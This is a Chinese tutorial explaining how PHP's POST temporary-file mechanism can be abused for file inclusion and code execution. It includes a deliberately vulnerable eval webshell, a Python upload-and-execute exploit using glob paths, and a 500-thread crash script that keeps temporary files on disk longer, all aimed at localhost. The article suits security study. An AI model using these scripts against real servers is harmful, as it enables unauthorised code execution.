利用PHP?POST臨時(shí)文件機(jī)制實(shí)現(xiàn)任意文件上傳的方法詳解
原理
向 PHP 發(fā)送 Post 數(shù)據(jù)包,如果數(shù)據(jù)包中包含文件,無論 php 代碼中有沒有處理文件上傳的邏輯,php 都會(huì)將這個(gè)文件保存為一個(gè)臨時(shí)文件
- 該文件默認(rèn)存儲(chǔ)在
/tmp目錄中『可通過php.ini的upload_tmp_dir指定存儲(chǔ)位置』 - 文件名為
php[6個(gè)隨機(jī)字符],例:phpG4ef0q - 若本次請求正常結(jié)束,臨時(shí)文件會(huì)被自動(dòng)刪除
- 若非正常結(jié)束,比如崩潰,臨時(shí)文件可能會(huì)被永久保留

在文件包含漏洞找不到可以利用的文件時(shí),即可利用這個(gè)方法,找到臨時(shí)文件名,然后包含之!
如何獲取臨時(shí)文件名
$_FILES
可以通過 $_FILES 獲取文件信息
Array
(
[name] => run.sh
[full_path] => run.sh
[type] =>
[tmp_name] => /tmp/phpoFnbQf
[error] => 0
[size] => 10
)
phpinfo
phpinfo 頁面會(huì)將當(dāng)前請求上下文中所有變量都打印出來,若我們直接向 phpinfo頁面送包含文件的 post請求,則即可在返回包里找到 $_FILES 變量的內(nèi)容,從而拿到臨時(shí)文件名

glob
若上述方法都無法實(shí)施,在 Linux 中,還可以通過 glob 通配符 定位文件

glob 簡單使用:
*:代替 0 個(gè)或 任意個(gè)字符?:代替 1 個(gè)字符[...]:匹配其中一個(gè)字符,例[a,b,c]匹配字符a / b / c{a, b}:匹配 a 或者 b
如何利用該文件
組合請求
雖然文件在請求結(jié)束后就自動(dòng)刪除了,但是我們可以把執(zhí)行 shell 和 上傳文件 組合在一個(gè)請求中,php 代碼如下:
該 php 可以直接執(zhí)行 shell, 但本例僅為展示如何利用臨時(shí)文件
# a.php <?php $code = $_GET['code']; eval($code); ?>
Python 腳本利用
# run.sh 文件內(nèi)容:
# echo $PATH
import requests
# 上傳文件同時(shí),執(zhí)行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin延長臨時(shí)文件存在時(shí)間
部分情況下,我們無法將 上傳文件 和 執(zhí)行shell 組合在一起,利用下述方法使得文件存在更多時(shí)間,從而在其他位置進(jìn)行利用!
可以通過 文件包含 讓 php 包含自身從而導(dǎo)致死循環(huán),隨后 php 守護(hù)進(jìn)程會(huì)因內(nèi)存溢出而崩潰,但是 php 自身是不會(huì)因?yàn)殄e(cuò)誤直接退出的,它會(huì)清空自己的內(nèi)存堆棧,以便從錯(cuò)誤中恢復(fù),這就保證了 web 服務(wù)的正常運(yùn)轉(zhuǎn)。
同時(shí)該過程也會(huì)打斷 php 對臨時(shí)文件的處理,雖然最終仍會(huì)被刪除,但相較之前可以明顯看出臨時(shí)文件在磁盤的中存在的時(shí)間變長了!

基于此,我們便可以編寫并發(fā)腳本,不斷發(fā)起 post 文件的請求
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(500):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()可以看到,當(dāng)我們在請求時(shí),磁盤中總是存在尚未被刪除的臨時(shí)文件。直至請求停止,文件被全部刪除

于此同時(shí),便可以在其他地方使用上述 glob 路徑通配符泛式加載臨時(shí)文件
import requests url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;" r = requests.get(url) print(r.text) # /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
參考
無字母數(shù)字webshell之提高篇
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
PHP臨時(shí)文件機(jī)制與利用的思考
https://www.anquanke.com/post/id/183046
PHP文件包含漏洞(利用phpinfo)復(fù)現(xiàn)
https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
glob(7) — Linux manual page
https://man7.org/linux/man-pages/man7/glob.7.html
操作文件和目錄
http://billie66.github.io/TLCL/book/chap05.html
到此這篇關(guān)于利用 PHP POST 臨時(shí)文件機(jī)制實(shí)現(xiàn)任意文件上傳的文章就介紹到這了,更多相關(guān)php post任意文件上傳內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
THINKPHP截取中文字符串函數(shù)實(shí)例代碼
在項(xiàng)目開發(fā)中,我們常常會(huì)遇到英文、中文等字符串截取問題,比如說新聞列表頁面需要新聞內(nèi)容簡介,這就要用到字符串截取了。2017-03-03
php計(jì)算當(dāng)前程序執(zhí)行時(shí)間示例
這篇文章主要介紹了php計(jì)算當(dāng)前程序執(zhí)行時(shí)間示例,需要的朋友可以參考下2014-04-04
php+html5實(shí)現(xiàn)無刷新圖片上傳教程
這篇文章主要為大家介紹了php+html5實(shí)現(xiàn)無刷新圖片上傳教程,一種全新的上傳圖片的方式,利用html5的FileReader讀取圖片文件,感興趣的小伙伴們可以參考一下2016-01-01
php實(shí)現(xiàn)mysql數(shù)據(jù)庫操作類分享
這篇文章主要介紹了php實(shí)現(xiàn)的mysql數(shù)據(jù)庫操作類,本文最后有使用方法,需要的朋友可以參考下2014-02-02
PHP 自動(dòng)加載的簡單實(shí)現(xiàn)(推薦)
下面小編就為大家?guī)硪黄狿HP 自動(dòng)加載的簡單實(shí)現(xiàn)(推薦)。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2016-08-08
遍歷指定目錄,并存儲(chǔ)目錄內(nèi)所有文件屬性信息的php代碼
本篇文章主要介紹了PHP遍歷指定目錄,并存儲(chǔ)目錄內(nèi)所有文件屬性信息,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下。2016-10-10

